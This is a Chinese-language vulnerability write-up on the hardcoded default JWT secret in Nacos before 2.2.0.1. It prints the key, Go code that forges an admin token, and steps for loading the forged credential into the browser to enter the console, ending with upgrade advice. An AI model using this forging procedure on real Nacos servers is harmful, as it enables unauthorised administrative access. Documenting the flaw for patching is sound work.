NacosJWT密钥硬编码漏洞,未授权访问

Nacos是一个用于动态服务发现、配置管理和服务管理的平台,但在版本2.2.0.1之前存在默认加密密钥问题,允许恶意用户利用固定密钥生成有效凭证登录。通过PullRequest#9992已移除默认密钥,建议用户升级或更换密钥以修复安全风险。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、软件背景

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service的首字母简称,一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。

Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。

Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。 Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。

二、影响版本

版本 <  2.2.0.1

三、漏洞分析

1.根据commit修复记录可以看到:

Remove the default token.secret.key by KomachiSion · Pull Request #9992 · alibaba/nacos · GitHub

nacos在新版之前使用了默认的JWT加密key:

SecretKey012345678901234567890123456789012345678901234567890123456789

2.根据默认key生成token:

package main

import (
	"fmt"
	"github.com/golang-jwt/jwt/v4"
)

func main(){

    // 创建秘钥
   	key := []byte("SecretKey012345678901234567890123456789012345678901234567890123456789")
    // 创建Token结构体
	claims := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
		"sub": "nacos",
		"exp": "1678861310",
	})
    // 调用加密方法,发挥Token字符串
	signingString, err := claims.SignedString(key)
	if err != nil {
		return
	}
	fmt.Println(signingString)


}

生成token:

 

3.组装凭证:

{"accessToken":"*****","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}

替换accessToken内容,将此凭证字符串添加到local storge,刷新页面即可登录进入nacos后台。

四、修复

升级版本或将默认key值更换。

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值